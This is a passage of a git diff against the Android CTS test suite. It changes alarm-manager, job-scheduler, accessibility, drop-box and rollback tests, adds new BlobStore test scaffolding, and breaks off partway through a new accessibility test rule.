+ String userHandle = Process.myUserHandle().toString();
+
int appVersionId = res.getIdentifier("app_version", "integer", packageName);
int appVersion = res.getInteger(appVersionId);
@@ -80,18 +84,27 @@
}
// Read the version of the app's user data and ensure it is compatible
- // with our version of the application.
- File versionFile = new File(context.getFilesDir(), "version.txt");
+ // with our version of the application. Also ensure that the user data is
+ // for the correct user.
+ File versionFile = new File(context.getFilesDir(), "userdata.txt");
try {
Scanner s = new Scanner(versionFile);
int userDataVersion = s.nextInt();
- s.close();
+ s.nextLine();
if (userDataVersion > appVersion) {
throw new UserDataException("User data is from version " + userDataVersion
+ ", which is not compatible with this version " + appVersion
+ " of the RollbackTestApp");
}
+
+ String readUserHandle = s.nextLine();
+ s.close();
+
+ if (!readUserHandle.equals(userHandle)) {
+ throw new UserDataException("User handle expected to be: " + userHandle
+ + ", but was actually " + readUserHandle);
+ }
} catch (FileNotFoundException e) {
// No problem. This is a fresh install of the app or the user data
// has been wiped.
@@ -101,6 +114,7 @@
try {
PrintWriter pw = new PrintWriter(versionFile);
pw.println(appVersion);
+ pw.println(userHandle);
pw.close();
} catch (IOException e) {
throw new UserDataException("Unable to write user data.", e);
diff --git a/libs/runner/Android.bp b/libs/runner/Android.bp
index 425c593..40977ff 100644
--- a/libs/runner/Android.bp
+++ b/libs/runner/Android.bp
@@ -12,16 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-// The legacy library that brings in android-support-test transitively
-java_library {
- name: "ctstestrunner",
-
- static_libs: ["cts-test-runner"],
-
- sdk_version: "current",
-
-}
-
// The library variant that brings in androidx-test transitively
java_library {
name: "ctstestrunner-axt",
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index f44ae93..4369acc 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index d7afe11..6b65a6f 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -80,16 +80,7 @@
"frequent",
"rare",
};
- private static final String[] APP_BUCKET_DELAY_KEYS = {
- "standby_working_delay",
- "standby_frequent_delay",
- "standby_rare_delay",
- };
- private static final long[] APP_STANDBY_DELAYS = {
- 5_000, // Working set
- 10_000, // Frequent
- 15_000, // Rare
- };
+
private static final long APP_STANDBY_WINDOW = 10_000;
private static final String[] APP_BUCKET_QUOTA_KEYS = {
"standby_working_quota",
@@ -111,12 +102,6 @@
settings.append(MIN_FUTURITY);
settings.append(",allow_while_idle_short_time=");
settings.append(ALLOW_WHILE_IDLE_SHORT_TIME);
- for (int i = 0; i < APP_STANDBY_DELAYS.length; i++) {
- settings.append(",");
- settings.append(APP_BUCKET_DELAY_KEYS[i]);
- settings.append("=");
- settings.append(APP_STANDBY_DELAYS[i]);
- }
settings.append(",app_standby_window=");
settings.append(APP_STANDBY_WINDOW);
for (int i = 0; i < APP_STANDBY_QUOTAS.length; i++) {
@@ -166,7 +151,7 @@
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
mAlarmScheduler = new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER);
mAlarmCount = new AtomicInteger(0);
- updateAlarmManagerConstants(true);
+ updateAlarmManagerConstants();
setBatteryCharging(false);
final IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
@@ -194,132 +179,6 @@
mContext.sendBroadcast(setAlarmClockIntent);
}
-
- private void testBucketDelay(int bucketIndex) throws Exception {
- setAppStandbyBucket("active");
- final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
- scheduleAlarm(firstTrigger, false, 0);
- Thread.sleep(MIN_FUTURITY);
- assertTrue("Alarm did not fire when app in active", waitForAlarm());
-
- setAppStandbyBucket(APP_BUCKET_TAGS[bucketIndex]);
- final long nextTriggerTime = SystemClock.elapsedRealtime() + MIN_FUTURITY;
- final long minTriggerTime = sAlarmHistory.getLast(1) + APP_STANDBY_DELAYS[bucketIndex];
- scheduleAlarm(nextTriggerTime, false, 0);
- Thread.sleep(MIN_FUTURITY);
- if (nextTriggerTime + DEFAULT_WAIT < minTriggerTime) {
- assertFalse("Alarm went off before " + APP_BUCKET_TAGS[bucketIndex] + " delay",
- waitForAlarm());
- }
- Thread.sleep(minTriggerTime - SystemClock.elapsedRealtime());
- assertTrue("Deferred alarm did not go off after " + APP_BUCKET_TAGS[bucketIndex] + " delay",
- waitForAlarm());
- }
-
- @Test
- public void testActiveDelay() throws Exception {
- updateAlarmManagerConstants(false);
- setAppStandbyBucket("active");
- long nextTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
- for (int i = 0; i < 3; i++) {
- scheduleAlarm(nextTrigger, false, 0);
- Thread.sleep(MIN_FUTURITY);
- assertTrue("Alarm not received as expected when app is in active", waitForAlarm());
- nextTrigger += MIN_FUTURITY;
- }
- }
-
- @Test
- public void testWorkingSetDelay() throws Exception {
- updateAlarmManagerConstants(false);
- testBucketDelay(WORKING_INDEX);
- }
-
- @Test
- public void testFrequentDelay() throws Exception {
- updateAlarmManagerConstants(false);
- testBucketDelay(FREQUENT_INDEX);
- }
-
- @Test
- public void testRareDelay() throws Exception {
- updateAlarmManagerConstants(false);
- testBucketDelay(RARE_INDEX);
- }
-
- @Test
- public void testNeverDelay() throws Exception {
- updateAlarmManagerConstants(false);
- setAppStandbyBucket("active");
- final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
- scheduleAlarm(firstTrigger, false, 0);
- Thread.sleep(MIN_FUTURITY);
- assertTrue("Alarm did not fire when app in active", waitForAlarm());
-
- setAppStandbyBucket("never");
- final long expectedTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
- scheduleAlarm(expectedTrigger, true, 0);
- Thread.sleep(10_000);
- assertFalse("Alarm received when app was in never bucket", waitForAlarm());
- }
-
- @Test
- public void testBucketUpgradeToSmallerDelay() throws Exception {
- updateAlarmManagerConstants(false);
- setAppStandbyBucket("active");
- final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
- scheduleAlarm(firstTrigger, false, 0);
- Thread.sleep(MIN_FUTURITY);
- assertTrue("Alarm did not fire when app in active", waitForAlarm());
-
- setAppStandbyBucket(APP_BUCKET_TAGS[FREQUENT_INDEX]);
- final long triggerTime = SystemClock.elapsedRealtime() + MIN_FUTURITY;
- final long workingSetExpectedTrigger = sAlarmHistory.getLast(1)
- + APP_STANDBY_DELAYS[WORKING_INDEX];
- scheduleAlarm(triggerTime, false, 0);
- Thread.sleep(workingSetExpectedTrigger - SystemClock.elapsedRealtime());
- assertFalse("The alarm went off before frequent delay", waitForAlarm());
- setAppStandbyBucket(APP_BUCKET_TAGS[WORKING_INDEX]);
- assertTrue("The alarm did not go off when app bucket upgraded to working_set",
- waitForAlarm());
- }
-
- /**
- * This is different to {@link #testBucketUpgradeToSmallerDelay()} in the sense that the bucket
- * upgrade shifts eligibility to a point earlier than when the alarm is scheduled for.
- * The alarm must then go off as soon as possible - at either the scheduled time or the bucket
- * change, whichever happened later.
- */
- @Test
- public void testBucketUpgradeToNoDelay() throws Exception {
- updateAlarmManagerConstants(false);
-
- setAppStandbyBucket("active");
- final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
- scheduleAlarm(firstTrigger, false, 0);
- Thread.sleep(MIN_FUTURITY);
- assertTrue("Alarm did not fire when app in active", waitForAlarm());
-
- setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
- final long triggerTime1 = sAlarmHistory.getLast(1) + APP_STANDBY_DELAYS[FREQUENT_INDEX];
- scheduleAlarm(triggerTime1, false, 0);
- Thread.sleep(triggerTime1 - SystemClock.elapsedRealtime());
- assertFalse("The alarm went off after frequent delay when app in rare bucket",
- waitForAlarm());
- setAppStandbyBucket(APP_BUCKET_TAGS[WORKING_INDEX]);
- assertTrue("The alarm did not go off when app bucket upgraded to working_set",
- waitForAlarm());
-
- // Once more
- setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
- final long triggerTime2 = sAlarmHistory.getLast(1) + APP_STANDBY_DELAYS[FREQUENT_INDEX];
- scheduleAlarm(triggerTime2, false, 0);
- setAppStandbyBucket("active");
- Thread.sleep(triggerTime2 - SystemClock.elapsedRealtime());
- assertTrue("The alarm did not go off as scheduled when the app was in active",
- waitForAlarm());
- }
-
public void testSimpleQuotaDeferral(int bucketIndex) throws Exception {
setAppStandbyBucket(APP_BUCKET_TAGS[bucketIndex]);
final int quota = APP_STANDBY_QUOTAS[bucketIndex];
@@ -398,31 +257,33 @@
@Test
public void testAllowWhileIdleAlarms() throws Exception {
- updateAlarmManagerConstants(false);
+ updateAlarmManagerConstants();
setAppStandbyBucket("active");
final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
scheduleAlarm(firstTrigger, true, 0);
Thread.sleep(MIN_FUTURITY);
assertTrue("first allow_while_idle alarm did not go off as scheduled", waitForAlarm());
- scheduleAlarm(sAlarmHistory.getLast(1) + 7_000, true, 0);
+ long lastTriggerTime = sAlarmHistory.getLast(1);
+ scheduleAlarm(lastTriggerTime + ALLOW_WHILE_IDLE_SHORT_TIME / 3, true, 0);
// First check for the case where allow_while_idle delay should supersede app standby
setAppStandbyBucket(APP_BUCKET_TAGS[WORKING_INDEX]);
- Thread.sleep(APP_STANDBY_DELAYS[WORKING_INDEX]);
+ Thread.sleep(ALLOW_WHILE_IDLE_SHORT_TIME / 2);
assertFalse("allow_while_idle alarm went off before short time", waitForAlarm());
- long expectedTriggerTime = sAlarmHistory.getLast(1) + ALLOW_WHILE_IDLE_SHORT_TIME;
+ long expectedTriggerTime = lastTriggerTime + ALLOW_WHILE_IDLE_SHORT_TIME;
Thread.sleep(expectedTriggerTime - SystemClock.elapsedRealtime());
assertTrue("allow_while_idle alarm did not go off after short time", waitForAlarm());
// Now the other case, app standby delay supersedes the allow_while_idle delay
- scheduleAlarm(sAlarmHistory.getLast(1) + 7_000, true, 0);
+ lastTriggerTime = sAlarmHistory.getLast(1);
+ scheduleAlarm(lastTriggerTime + APP_STANDBY_WINDOW / 10, true, 0);
setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
- Thread.sleep(ALLOW_WHILE_IDLE_SHORT_TIME);
- assertFalse("allow_while_idle alarm went off before " + APP_STANDBY_DELAYS[RARE_INDEX]
+ Thread.sleep(APP_STANDBY_WINDOW / 20);
+ assertFalse("allow_while_idle alarm went off before " + APP_STANDBY_WINDOW
+ "ms, when in bucket " + APP_BUCKET_TAGS[RARE_INDEX], waitForAlarm());
- expectedTriggerTime = sAlarmHistory.getLast(1) + APP_STANDBY_DELAYS[RARE_INDEX];
+ expectedTriggerTime = lastTriggerTime + APP_STANDBY_WINDOW;
Thread.sleep(expectedTriggerTime - SystemClock.elapsedRealtime());
assertTrue("allow_while_idle alarm did not go off even after "
- + APP_STANDBY_DELAYS[RARE_INDEX]
+ + APP_STANDBY_WINDOW
+ "ms, when in bucket " + APP_BUCKET_TAGS[RARE_INDEX], waitForAlarm());
}
@@ -457,12 +318,9 @@
}
}
- private void updateAlarmManagerConstants(boolean enableQuota) throws IOException {
+ private void updateAlarmManagerConstants() throws IOException {
final StringBuffer cmd = new StringBuffer("settings put global alarm_manager_constants ");
cmd.append(COMMON_SETTINGS);
- if (!enableQuota) {
- cmd.append(",app_standby_quotas_enabled=false");
- }
executeAndLog(cmd.toString());
}
diff --git a/tests/BlobStore/Android.bp b/tests/BlobStore/Android.bp
new file mode 100644
index 0000000..703931d
--- /dev/null
+++ b/tests/BlobStore/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsBlobStoreTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.test.ext.junit",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ platform_apis: true,
+}
\ No newline at end of file
diff --git a/tests/BlobStore/AndroidManifest.xml b/tests/BlobStore/AndroidManifest.xml
new file mode 100644
index 0000000..8ffebfa
--- /dev/null
+++ b/tests/BlobStore/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.blob" >
+
+ <application android:label="CtsBlobStoreTestCases">
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.blob"
+ android:label="CtsBlobStoreTestCases"/>
+</manifest>
\ No newline at end of file
diff --git a/tests/BlobStore/AndroidTest.xml b/tests/BlobStore/AndroidTest.xml
new file mode 100644
index 0000000..7b7d150
--- /dev/null
+++ b/tests/BlobStore/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS BlobStore test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsBlobStoreTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="com.android.cts.blob" />
+ </test>
+</configuration>
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
new file mode 100644
index 0000000..dd7670a
--- /dev/null
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.blob;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.content.Context;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+@RunWith(AndroidJUnit4.class)
+public class BlobStoreManagerTest {
+ @Test
+ public void testGetService() {
+ assertNotNull(InstrumentationRegistry.getInstrumentation().getContext()
+ .getSystemService(Context.BLOB_STORE_SERVICE));
+ }
+}
diff --git a/tests/DropBoxManager/AndroidTest.xml b/tests/DropBoxManager/AndroidTest.xml
index b1d45c9..2f595a6 100644
--- a/tests/DropBoxManager/AndroidTest.xml
+++ b/tests/DropBoxManager/AndroidTest.xml
@@ -17,8 +17,9 @@
<configuration description="Config for CTS Drop Box Manager test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
- <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<!-- Switch to system user before running this module since some tests only works for user 0 -->
<target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
<option name="user-type" value="system" />
diff --git a/tests/DropBoxManager/OWNERS b/tests/DropBoxManager/OWNERS
new file mode 100644
index 0000000..1a5b740
--- /dev/null
+++ b/tests/DropBoxManager/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+mwachens@google.com
diff --git a/tests/DropBoxManager/src/android/dropboxmanager/cts/DropBoxTests.java b/tests/DropBoxManager/src/android/dropboxmanager/cts/DropBoxTests.java
index be21324..3b6c7da 100644
--- a/tests/DropBoxManager/src/android/dropboxmanager/cts/DropBoxTests.java
+++ b/tests/DropBoxManager/src/android/dropboxmanager/cts/DropBoxTests.java
@@ -246,11 +246,12 @@
mAnotherLowPriorityTagLatch = new CountDownLatch(1);
mAnotherLowPriorityBuffer = new ArrayList(nOtherEntries * 2);
- final long startTimeDelta = BROADCAST_RATE_LIMIT / 2;
+ final long delayTime = BROADCAST_RATE_LIMIT / 2;
// add several low priority entries across multiple tags
+ final long firstEntryTime = SystemClock.elapsedRealtime();
sendExcessiveDropBoxEntries(LOW_PRIORITY_TAG, nLowPriorityEntries, 0);
- Thread.sleep(startTimeDelta);
+ Thread.sleep(delayTime);
final long startTime = SystemClock.elapsedRealtime();
sendExcessiveDropBoxEntries(ANOTHER_LOW_PRIORITY_TAG, nOtherEntries, 0);
assertTrue(mAnotherLowPriorityTagLatch.await(BROADCAST_RATE_LIMIT * 3 / 2,
@@ -272,6 +273,7 @@
assertEquals("All but one of the low priority broadcasts should have been dropped for " +
ANOTHER_LOW_PRIORITY_TAG, nOtherEntries - 1, anotherData.droppedCount);
+ final long startTimeDelta = startTime - firstEntryTime;
final long receivedTimeDelta = anotherData.received - data.received;
final long errorMargin = receivedTimeDelta - startTimeDelta;
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index 4bd5208..d470f62 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -24,6 +24,7 @@
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
diff --git a/tests/JobScheduler/OWNERS b/tests/JobScheduler/OWNERS
new file mode 100644
index 0000000..ef7929f
--- /dev/null
+++ b/tests/JobScheduler/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 330738
+ctate@google.com
\ No newline at end of file
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
index 67d147e..11bb6f1 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
@@ -18,7 +18,9 @@
import android.annotation.TargetApi;
import android.app.job.JobInfo;
+import android.content.Context;
import android.content.pm.PackageManager;
+import android.os.PowerManager;
import android.os.SystemClock;
import android.support.test.uiautomator.UiDevice;
@@ -31,7 +33,9 @@
public class DeviceStatesTest extends ConstraintTest {
/** Unique identifier for the job scheduled by this suite of tests. */
public static final int STATE_JOB_ID = DeviceStatesTest.class.hashCode();
+ private static final String TAG = "DeviceStatesTest";
+ private PowerManager.WakeLock mWakeLock;
private JobInfo.Builder mBuilder;
private UiDevice mUiDevice;
@@ -40,6 +44,9 @@
super.setUp();
mBuilder = new JobInfo.Builder(STATE_JOB_ID, kJobServiceComponent);
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ mWakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, TAG);
+ mWakeLock.acquire();
}
@Override
@@ -47,6 +54,9 @@
mJobScheduler.cancel(STATE_JOB_ID);
// Put device back in to normal operation.
toggleScreenOn(true /* screen on */);
+ if (mWakeLock != null && mWakeLock.isHeld()) {
+ mWakeLock.release();
+ }
}
void assertJobReady() throws Exception {
diff --git a/tests/JobSchedulerSharedUid/OWNERS b/tests/JobSchedulerSharedUid/OWNERS
new file mode 100644
index 0000000..ef7929f
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 330738
+ctate@google.com
\ No newline at end of file
diff --git a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
index 8e79f23..da6d112 100644
--- a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
@@ -186,6 +186,39 @@
}
/**
+ * Test that continuing to enqueue work after changing the job's constraints
+ * properly retains any already-enqueued work.
+ */
+ public void testEnqueuedWorkNewConstraints() throws Exception {
+ Intent work1 = new Intent("work1");
+ Intent work2 = new Intent("work2");
+ TestWorkItem[] work = new TestWorkItem[] {
+ new TestWorkItem(work1),
+ new TestWorkItem(work2)
+ };
+
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWork(work);
+
+ // enqueue work under one set of constraints
+ JobInfo ji = new JobInfo.Builder(ENQUEUE_WORK_JOB_ID, kJobServiceComponent)
+ .setMinimumLatency(5000L)
+ .build();
+ mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+
+ // now enqueue more work and also change the job's constraints
+ ji = new JobInfo.Builder(ENQUEUE_WORK_JOB_ID, kJobServiceComponent)
+ .setOverrideDeadline(0)
+ .build();
+ mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+
+ kTestEnvironment.readyToWork();
+ assertTrue("Job with work enqueued did not start",
+ kTestEnvironment.awaitExecution());
+ compareWork(work, kTestEnvironment.getLastReceivedWork());
+ }
+
+ /**
* Test basic enqueueing batches of work that will be executed in parallel.
*/
public void testEnqueueParallel2Work() throws Exception {
diff --git a/tests/acceleration/AndroidTest.xml b/tests/acceleration/AndroidTest.xml
index b066dc1..65fc952 100644
--- a/tests/acceleration/AndroidTest.xml
+++ b/tests/acceleration/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAccelerationTestCases.apk" />
diff --git a/tests/acceleration/OWNERS b/tests/acceleration/OWNERS
new file mode 100644
index 0000000..3d2576a
--- /dev/null
+++ b/tests/acceleration/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 32850
+include platform/frameworks/base:/libs/hwui/OWNERS
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index f07494f..c9e0c71 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -21,9 +21,11 @@
android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
- <application android:theme="@android:style/Theme.Holo.NoActionBar" >
+ <application android:theme="@android:style/Theme.Holo.NoActionBar"
+ android:requestLegacyExternalStorage="true">
<uses-library android:name="android.test.runner"/>
<service android:name=".SpeakingAccessibilityService"
android:label="@string/title_speaking_accessibility_service"
@@ -55,11 +57,31 @@
android:resource="@xml/speaking_and_vibrating_accessibilityservice" />
</service>
+ <service android:name=".AccessibilityButtonService"
+ android:label="@string/title_accessibility_button_service"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService"/>
+ </intent-filter>
+ <meta-data android:name="android.accessibilityservice"
+ android:resource="@xml/accessibility_button_service" />
+ </service>
+
<activity
android:label="@string/some_description"
android:name=".DummyActivity"
android:screenOrientation="locked"/>
+ <activity android:name=".AccessibilityShortcutTargetActivity"
+ android:label="@string/shortcut_target_title">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.ACCESSIBILITY_SHORTCUT_TARGET" />
+ </intent-filter>
+ <meta-data android:name="android.accessibilityshortcut.target"
+ android:resource="@xml/shortcut_target_activity"/>
+ </activity>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/accessibility/AndroidTest.xml b/tests/accessibility/AndroidTest.xml
index 7783a25..6fe3f3b 100644
--- a/tests/accessibility/AndroidTest.xml
+++ b/tests/accessibility/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
<option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
@@ -30,4 +31,8 @@
<option name="package" value="android.view.accessibility.cts" />
<option name="runtime-hint" value="8m"/>
</test>
+ <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+ <option name="directory-keys" value="/sdcard/android.view.accessibility.cts" />
+ <option name="collect-on-run-ended-only" value="true" />
+ </metrics_collector>
</configuration>
diff --git a/tests/accessibility/OWNERS b/tests/accessibility/OWNERS
index d225f2c..e54f581 100644
--- a/tests/accessibility/OWNERS
+++ b/tests/accessibility/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 44214
-pweaver@google.com
\ No newline at end of file
+pweaver@google.com
+rhedjao@google.com
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumpOnFailureRule.java b/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumpOnFailureRule.java
new file mode 100644
index 0000000..df7c550
--- /dev/null
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumpOnFailureRule.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.accessibility.cts.common;
+
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.rules.ExternalResource;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestWatcher;
+import org.junit.runner.Description;
+
+/**
+ * Custom {@code TestRule} that dump accessibility related data upon test failures.
+ *
+ * <p>Note: when using other {@code TestRule}s, make sure to use a {@link RuleChain} to ensure it
+ * is applied outside of other rules that can fail a test (otherwise this rule may not know that the
+ * test failed). If using with {@link ExternalResource}-like {@code TestRule}s, {@link
+ * ActivityTestRule} or {@link InstrumentedAccessibilityService}, this rule should chaining as a
+ * inner rule to resources-like rules so that it will dump data before resources are cleaned up.
+ *
+ * <p>To capture the output of this rule, add the following to AndroidTest.xml:
+ * <pre>
+ * <!-- Collect output of AccessibilityDumpOnFailureRule. -->
+ * <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
